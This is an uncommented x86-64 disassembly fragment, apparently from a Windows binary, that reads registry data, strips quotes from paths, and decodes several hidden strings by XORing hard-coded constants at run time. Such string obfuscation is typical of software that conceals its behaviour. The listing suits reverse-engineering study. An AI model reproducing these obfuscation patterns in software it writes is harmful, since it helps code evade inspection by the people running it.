mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x160]
lea rcx, [rsp + 0x140]
call fcn.140058c50
or r14d, 4
mov dword [rsp + 0x348], r14d
mov dword [rsp + 0x50], r14d
lea rax, [rsp + 0x60]
mov rsi, 0xffffffffffffffff
nop dword [rax + rax]
inc rsi
cmp word [rax + rsi*2], 0
jne 0x14003b950
mov r14, qword [rsp + 0x150]
mov rcx, qword [rsp + 0x158]
mov rax, rcx
sub rax, r14
cmp rsi, rax
ja 0x14003b9c5
lea rax, [r14 + rsi]
mov qword [rsp + 0x150], rax
lea rdi, [rsp + 0x140]
cmp rcx, 7
cmova rdi, qword [rsp + 0x140]
lea rcx, [rdi + r14*2]
lea r8, [rsi + rsi]
lea rdx, [rsp + 0x60]
call fcn.1400a62b0
lea rax, [r14 + rsi]
mov word [rdi + rax*2], r15w
lea rax, [rsp + 0x140]
movabs rdi, 0x7b08077dbdf1bdd
jmp 0x14003b9e3
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x60]
movzx r8d, bl
mov rdx, rsi
lea rcx, [rsp + 0x140]
call fcn.1400607e0
xorps xmm0, xmm0
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xc0], r15
mov qword [rsp + 0xc8], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xb0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xc0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
mov r14d, dword [rsp + 0x348]
or r14d, 2
mov dword [rsp + 0x50], r14d
lea r8, [rsp + 0xb0]
lea rcx, [rsp + 0x350]
call fcn.1400386a0
nop
mov rax, qword [rsp + 0xc8]
cmp rax, 7
jbe 0x14003ba90
lea rax, [rax*2 + 2]
mov rcx, qword [rsp + 0xb0]
mov rdx, rcx
cmp rax, 0x1000
jb 0x14003ba8a
mov rcx, qword [rcx - 8]
sub rdx, rcx
lea rax, [rdx - 8]
cmp rax, 0x1f
ja 0x14003c19a
call fcn.14000da60
nop
mov qword [rsp + 0xc0], r15
mov qword [rsp + 0xc8], 7
mov word [rsp + 0xb0], r15w
mov rax, qword [rsp + 0x158]
cmp rax, 7
jbe 0x14003baf1
lea rax, [rax*2 + 2]
mov rcx, qword [rsp + 0x140]
mov rdx, rcx
cmp rax, 0x1000
jb 0x14003baeb
mov rcx, qword [rcx - 8]
sub rdx, rcx
lea rax, [rdx - 8]
cmp rax, 0x1f
ja 0x14003c1a0
call fcn.14000da60
nop
mov qword [rsp + 0x150], r15
mov qword [rsp + 0x158], 7
mov word [rsp + 0x140], r15w
mov qword [rsp + 0x290], rdi
movabs rsi, 0xedb2645e90d82e86
mov qword [rsp + 0x298], rsi
mov qword [rsp + 0x240], rdi
mov qword [rsp + 0x248], rsi
movdqu xmm0, xmmword [rsp + 0x240]
xorps xmm0, xmmword [rsp + 0x290]
movdqa xmmword [rsp + 0x210], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0xf0], xmm0
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x108], r15
lea rax, [rsp + 0x210]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x14003bb80
lea rdx, [rsp + 0x210]
lea rcx, [rsp + 0xf0]
call fcn.140030bc0
nop
lea r8, [rsp + 0xf0]
lea rdx, [rsp + 0x250]
lea rcx, [rsp + 0x350]
call fcn.140038f70
nop
mov rax, qword [rsp + 0x108]
cmp rax, 7
jbe 0x14003bc03
lea rax, [rax*2 + 2]
mov rcx, qword [rsp + 0xf0]
mov rdx, rcx
cmp rax, 0x1000
jb 0x14003bbfd
mov rcx, qword [rcx - 8]
sub rdx, rcx
lea rax, [rdx - 8]
cmp rax, 0x1f
ja 0x14003c1a6
call fcn.14000da60
nop
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x108], 7
mov word [rsp + 0xf0], r15w
cmp byte [rsp + 0x270], 1
jne 0x14003bee1
lea rdx, [rsp + 0x250]
lea rcx, [rsp + 0xd0]
call fcn.140051930
nop
lea rsi, [rsp + 0xd0]
mov r9, qword [rsp + 0xd0]
mov r8, qword [rsp + 0xe8]
cmp r8, 7
cmova rsi, r9
mov rax, qword [rsp + 0xe0]
lea rcx, [rax + rax]
add rsi, rcx
lea rdi, [rsp + 0xd0]
cmp r8, 7
cmova rdi, r9
add rdi, rcx
lea rcx, [rsp + 0xd0]
cmp r8, 7
cmova rcx, r9
mov r8d, 0x22
mov rdx, rdi
call fcn.140081440
mov r8, rax
cmp rax, rdi
je 0x14003bccf
lea rcx, [rax + 2]
cmp rcx, rdi
je 0x14003bccf
movzx eax, word [rcx]
cmp ax, 0x22
je 0x14003bcc6
mov word [r8], ax
add r8, 2
add rcx, 2
cmp rcx, rdi
jne 0x14003bcb5
lea rax, [rsp + 0xd0]
cmp qword [rsp + 0xe8], 7
cmova rax, qword [rsp + 0xd0]
mov r9, r8
sub r9, rax
sar r9, 1
sub rsi, r8
sar rsi, 1
mov rdi, qword [rsp + 0xe0]
mov rax, rdi
sub rax, r9
cmp rax, rsi
cmovb rsi, rax
lea rax, [rsp + 0xd0]
cmp qword [rsp + 0xe8], 7
cmova rax, qword [rsp + 0xd0]
lea rcx, [rax + r9*2]
sub rdi, rsi
lea rdx, [rcx + rsi*2]
mov r8, rdi
sub r8, r9
lea r8, [r8*2 + 2]
call fcn.1400a62b0
mov qword [rsp + 0xe0], rdi
movabs rdi, 0x7b08077dbdf1bdd
mov qword [rsp + 0x1b0], rdi
movabs rsi, 0xedb2645e90d82e86
mov qword [rsp + 0x1b8], rsi
movabs rax, 0x7dc8007dba71bb8
mov qword [rsp + 0x1f0], rax
movabs rax, 0xedb2643b90aa2ee9
mov qword [rsp + 0x1f8], rax
movdqu xmm0, xmmword [rsp + 0x1f0]
xorps xmm0, xmmword [rsp + 0x1b0]
movdqa xmmword [rsp + 0x210], xmm0
lea rdx, [rsp + 0x210]
lea rcx, [rsp + 0xd0]
call fcn.1400517b0
cmp rax, 0xffffffffffffffff
je 0x14003be17
mov rax, qword [rsp + 0xe8]
cmp rax, 7
jbe 0x14003bec4
lea rax, [rax*2 + 2]
mov rcx, qword [rsp + 0xd0]
mov rdx, rcx
cmp rax, 0x1000
jb 0x14003be0c
mov rcx, qword [rcx - 8]
sub rdx, rcx
lea rax, [rdx - 8]
cmp rax, 0x1f
ja 0x14003c1ac
call fcn.14000da60
nop
jmp 0x14003bec4
mov rcx, qword [rsp + 0x340]
mov rdx, qword [rcx + 8]
cmp rdx, qword [rcx + 0x10]
je 0x14003be73
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r15
mov qword [rdx + 0x18], r15
movups xmm0, xmmword [rsp + 0xd0]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rsp + 0xe0]
movups xmmword [rdx + 0x10], xmm1
mov qword [rsp + 0xe0], r15
mov eax, 7
mov qword [rsp + 0xe8], rax
mov word [rsp + 0xd0], r15w
add qword [rcx + 8], 0x20
jmp 0x14003be88
lea r8, [rsp + 0xd0]
call fcn.140030da0
mov rax, qword [rsp + 0xe8]
cmp rax, 7
jbe 0x14003bec4
lea rax, [rax*2 + 2]
mov rcx, qword [rsp + 0xd0]
mov rdx, rcx
cmp rax, 0x1000
jb 0x14003bebe
mov rcx, qword [rcx - 8]
sub rdx, rcx
lea rax, [rdx - 8]
cmp rax, 0x1f
ja 0x14003c1ac
call fcn.14000da60
nop
mov word [rsp + 0xd0], r15w
mov qword [rsp + 0xe8], 7
mov qword [rsp + 0xe0], r15
lea rcx, [rsp + 0x250]
call fcn.140050870
nop
mov rcx, qword [rsp + 0x350]
test rcx, rcx
je 0x14003bf33
mov eax, 0x80000000
add rax, rcx
cmp rax, 5
jbe 0x14003bf2b
cmp rcx, 0xffffffff80000007
je 0x14003bf2b
cmp rcx, 0xffffffff80000060
je 0x14003bf2b
cmp rcx, 0xffffffff80000050
je 0x14003bf2b
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x350], r15
add r13, 0x20
cmp r13, r12
je 0x14003bf85
movabs rax, 0x58876b8caaa81288
movabs r8, 0x3365a4cd6cb2782f
movabs r9, 0x7ffffffffffffffe
movabs r10, 0x3b8a6f2a0000944a
movabs r11, 0x853043d669bfb18e
jmp 0x14003b640
mov r12, qword [rsp + 0x1d8]
mov rbx, qword [rsp + 0x1d0]
jmp 0x14003bf95
mov rbx, qword [rsp + 0x358]
mov r13, qword [rsp + 0x340]
test rbx, rbx
je 0x14003bfdd
mov rdx, r12
mov rcx, rbx
call fcn.140030cf0
mov rax, qword [rsp + 0x1e0]
sub rax, rbx
and rax, 0xffffffffffffffe0
mov rcx, rbx
cmp rax, 0x1000
jb 0x14003bfd4
mov rbx, qword [rbx - 8]
sub rcx, rbx
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14003c1b8
mov rcx, rbx
call fcn.14000da60
nop
mov rax, r13
add rsp, 0x300
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
mov qword [rsp + 0x1f0], rsi
mov qword [rsp + 0x1f8], r12
mov qword [rsp + 0x200], rdi
mov qword [rsp + 0x208], rbx
movabs rcx, 0x73d1e50598b87e8f
mov qword [rsp + 0xf0], rcx
movabs rcx, 0xcde51c1be9bd65e3
mov qword [rsp + 0xf8], rcx
movabs rcx, 0x334bc0a800db1949
mov qword [rsp + 0x100], rcx
mov qword [rsp + 0x108], rbx
movups xmm0, xmmword [rsp + 0xf0]
movups xmm1, xmmword [rsp + 0x100]
xorps xmm0, xmmword [rsp + 0x1f0]
movdqa xmmword [rsp + 0xf0], xmm0
xorps xmm1, xmmword [rsp + 0x200]
movdqa xmmword [rsp + 0x100], xmm1
lea r8, [rsp + 0xf0]
mov edx, eax
lea rcx, [rsp + 0x2a0]
call fcn.1400398c0
lea rdx, [0x1400d32e8]
lea rcx, [rsp + 0x2a0]
call fcn.140084008
nop
call fcn.140087d64
nop
call fcn.140087d64
nop
call fcn.140087d64
nop
call fcn.14002b050
call fcn.140087d64
nop
call fcn.140087d64
nop
mov qword [rsp + 0x140], rsi
mov qword [rsp + 0x148], r12
mov qword [rsp + 0x150], rdi
mov qword [rsp + 0x158], rbx
movabs rcx, 0x73d1e50598b87e8f
mov qword [rsp + 0xf0], rcx
movabs rcx, 0xcde51c1be9bd65e3
mov qword [rsp + 0xf8], rcx
movabs rcx, 0x334bc0a800db1949
mov qword [rsp + 0x100], rcx
mov qword [rsp + 0x108], rbx
movups xmm0, xmmword [rsp + 0xf0]
movups xmm1, xmmword [rsp + 0x100]
xorps xmm0, xmmword [rsp + 0x140]
movdqa xmmword [rsp + 0xf0], xmm0
xorps xmm1, xmmword [rsp + 0x150]
movdqa xmmword [rsp + 0x100], xmm1
lea r8, [rsp + 0xf0]
mov edx, eax
lea rcx, [rsp + 0x2c8]
call fcn.1400398c0
lea rdx, [0x1400d32e8]
lea rcx, [rsp + 0x2c8]
call fcn.140084008
nop
call fcn.140087d64
nop
call fcn.1400326a0
nop
call fcn.140087d64
nop
call fcn.140087d64
nop
call fcn.140087d64
int3
call fcn.140087d64
nop
call fcn.14002b050
nop
call fcn.140087d64
int3